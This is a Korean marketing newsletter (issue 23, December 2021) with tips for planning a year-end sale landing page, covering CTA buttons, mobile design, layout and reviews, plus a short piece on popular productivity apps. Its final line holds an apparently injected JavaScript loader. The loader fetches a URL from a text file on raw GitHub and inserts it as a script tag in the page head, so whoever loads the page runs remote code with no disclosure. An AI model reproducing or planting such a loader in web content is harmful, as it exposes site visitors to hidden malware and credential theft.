제 23호 2021년 12월 22일
위픽레터란?
마케팅 나만 어려워? 이거 나만 헷갈려? 일단 위픽레터로 고민 보내주세요, 특A+급 답변으로 배달 갑니다!
마케팅 현직자의 고민을 위픽 일잘러들이 속 시원하게 해결해드려요!
위픽레터로 현직자들은 고민 해결하고- 마린이들은 꿀팁 가득 얻어가세요!
안녕하세요! 파자마기획 및 생산 브랜드 마케팅팀에서 일하고 있는 A 사원입니다.
12월이 되고 이제 연말이잖아요. 많은 브랜드들도 그렇겠지만, 저희도 12월이 대목입니다.
그래서 <집콕- 크리스마스>라는 테마로 연말 할인전 기획을 했어요. 이제 포스터랑 랜딩페이지를 제작해야 하고요.
사실 랜딩 페이지 기획은 처음이라.. 위픽에서 관련 꿀팁을 알 수 있을까요?
안녕하세요! 연말 할인 기획전 대비해서 랜딩페이지를 제작하고 계시군요.
랜딩페이지가 이벤트 성과를 결정한다는 소리가 있을 정도로 중요한 부분이죠.
이번 위픽레터 23호에서는 랜딩페이지 제작 꿀팁을 가득 담아 발송해 드릴게요!
랜딩페이지가 그렇게 중요하냐고 물으신다면…? 답은 YES! 두말하면 입 아파요.
랜딩페이지는 고객이 광고를 통해 사이트로 들어왔을 때 처음 보게 되는 페이지를 말합니다.
우리가 어떤 상품이 궁금해서 쇼핑몰 사이트에 들어갔다고 생각해 봅시다. 자연스럽게 랜딩페이지를 슥슥- 넘겨보겠죠?
그러고는 이 제품을 살지 말지, 다른 쇼핑몰로 나갈지, 아니면 회원가입을 할거나 담당자에게 관련 상품문의를 남기게 될지 자연스럽게 정하게 돼요.
페이지가 어떤 방식으로 디자인되어 있는 지에 따라서 사용자들에게 유도할 수 있는 액션도 달라져요.
이 고객은 이 페이지에 왜 들어왔을까?
일단 랜딩페이지까지 고객을 유입시키는데 성공했더라도, 안심하긴 이릅니다.
랜딩페이지에서 시선을 사로잡지 못하면 몇 초 사이에 바로 나가버리거든요.
고객들의 눈을 붙잡아 두기 위해서는 목적을 분명히 해서 페이지를 기획해야 해요.
랜딩페이지는 고객이 페이지 안에서 이메일이나 전화 번호등 자신의 연락처를 남기고, 관리자가 후속적인 행동을 취해야 하는 잠재 고객 형성 랜딩 페이지와 일반적으로 페이지 안에 CTA버튼이 있어서 방문자가 바로 가입과 구매등 바로 결제 페이지까지 이어지도록 만드는 클릭율 랜딩 페이지로 나뉩니다.
고객들이 이 페이지에 들어오는 이유에 대해 생각해보고, 타겟층에 맞춰서 페이지를 구상해야 해요.
아직 브랜드만 인지하고 있는 고객을 구매로 이어지게 할 것인지, 이미 구매한 고객이 충성도 높은 고객이 될 수 있도록 만들 것인지 파악해 봐요.
그 후에 <첫 가입회원 3000원 할인> 혹은 <브랜드vip 감사 행사> 등, 기획의 타겟과 목적에 따라 완전히 다른 페이지를 기획하고 제작할 수 있습니다.
CTA는 Call-To-Action의 약자로 사용자의 행동을 유도하는 장치를 말합니다.
실질적인 구매로 이어져야 하는 등 전환이 필요한 페이지에는 꼭! 넣어야 하죠.CTA 버튼의 위치, 디자인, 내용 등에 따라 전체적인 성과도 달라질 수 있으니,
꼼꼼하게 기획하는 게 중요해요.
CTA 버튼의 디자인
버튼의 색상은 전체 랜딩페이지 색상과 대조되는 색상일수록 효과적이라는 의견이 있어요. 전체적인 페이지 디자인과 대비되어야 빠르게 스크롤을 내려도 유저들이 놓치지 않을 수 있죠. 또한 버튼의 문구도 중요해요.
[신청하기], [더 알아보기] 처럼 간단한 멘트보다는 [내가 받을 할인율 알아보기], [지금 바로 혜택 받으러가기] 등 조금 더 구체적으로 작성하는 것이 전환에 조금 더 도움이 돼요.
너무 많은 CTA는 안돼!
또한 하나의 랜딩페이지 안아서 CTA를 너무 많이 넣는 것도 지양해야 합니다.
버튼을 반복해서 넣거나 배치하는 건 오히려 상품이나 서비스의 호감을 저하시킬 수 있어요. 정작 뭐가 가장 중요한 버튼인지 헷갈리게 만들 가능성도 있고요.
모바일 친화적으로 만들어 주세요!
PC에서 접속하는 경우도 많지만, 그만큼 모바일로 확인하는 비율도 높다는 걸 잊으시면 안됩니다!
랜딩페이지는 최대한 모바일 친화적으로 만들어 주세요.
각 기기마다 최적화된 랜딩페이지 사이즈가 상이하기 때문에, 업로드하기 전에 여러 기기에서 픽셀화되지 않는지 확인은 필수에요!
이미지 출처 : 해커스 교육
정돈된 레이아웃 + 역동적인 흐름
깔끔하게 정돈된 레이아웃과 상세하게 정리된 문장들은 기본이에요.
일단 우리가 판매하려는 서비스나 상품에 대한 정보를 명확하게 전달해야 하니까요. 폰트도 임팩트를 주는 타이틀 외에는 고딕류로 통일하는 것이 좋아요.
하지만 내용은 마냥 단순하게 흘러가서는 안돼요.
유사한 느낌의 이미지나 텍스트가 계속 나열되면, 고객은 흥미가 확 식어버리게 돼요. 대답이 궁금해지는 질문으로 페이지를 시작하거나, 상품 소개 사이에 사진 이외의 gif나 영상을 사용하는 것도 좋은 팁이에요.
리뷰 적극 활용하기
사실 솔직하고 자세한 리뷰만큼 소비자들의 마음을 움직이는 것도 없습니다.
상품에 대한 리뷰들이 있다면, 페이지 안에 깔끔하게 리뷰를 넣어봐요. 온라인은 오프라인처럼 직접 상품을 볼 수 없으니, 상품 후기가 더욱 중요하게 작용해요. 엄선된 상품 리뷰들을 적극 활용해 보시길 바랄게요.
기획전과 다른 상품 추천하기
기획전과 다른 상품들을 추천하는 것도 하나의 전략이 될 수 있어요. 메인 상품을 페이지 상단에 광고하거나 전시하고, 부가적인 상품들을 페이지 하단에 배치하는 거죠. 주된 상품에 대한 설명이나 장점을 어필했다면, 다른 상품을 추천해서 동시 구매를 유도해요. 메인 상품과 연관성이 높은 제품이라면 판매 효율을 높일 수도 있겠죠?
이미지출처 : 닥터자르트, 오아 가습기
요즘 애들은 갓.생.산다! (with 어플)
‘갓생 ‘ 이란 접두어 ‘갓’과 ‘인생’이 합쳐진 단어에요. 말 그대로 대단한 인생이라는 뜻인데요, 대부분 자신의 상황에 맞춰서 부지런하고 알찬 삶을 살고 있을 때 쓰입니다.
최근 갓생을 살도록 도와주는 어플들이 핫해요
<투두메이트> 어플 설치하신 분!️ 투두메이트는 말 그대로 깔끔한 디자인의 일정 관리 어플인데요, 지인들과 일정을 서로 공유할 수 있다는 점 때문에 인기를 끌었어요! 지인끼리 어플을 깔고 팔로워를 하면 서로의 일정을 볼 수 있거든요.
학생들에게는 <열품타>라는 어플이 더 익숙할 수도 있는데요, 열품타는 ‘열정 품은 타이머’의 줄임말로 공부 일정 관리 어플이라고 생각하시면 좋아요. 내가 어느 과목에 얼마나 많은 시간을 할애했는지 확인할 수 있기 때문에, 고등학생들에게는 필수 어플이 되었는데요. 서로 #열품타 게시글을 올리면서 자극을 받기도 하고 성취를 공유하기도 해요.
[출처 : https://wepick.kr/letters/4312410/]
(var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)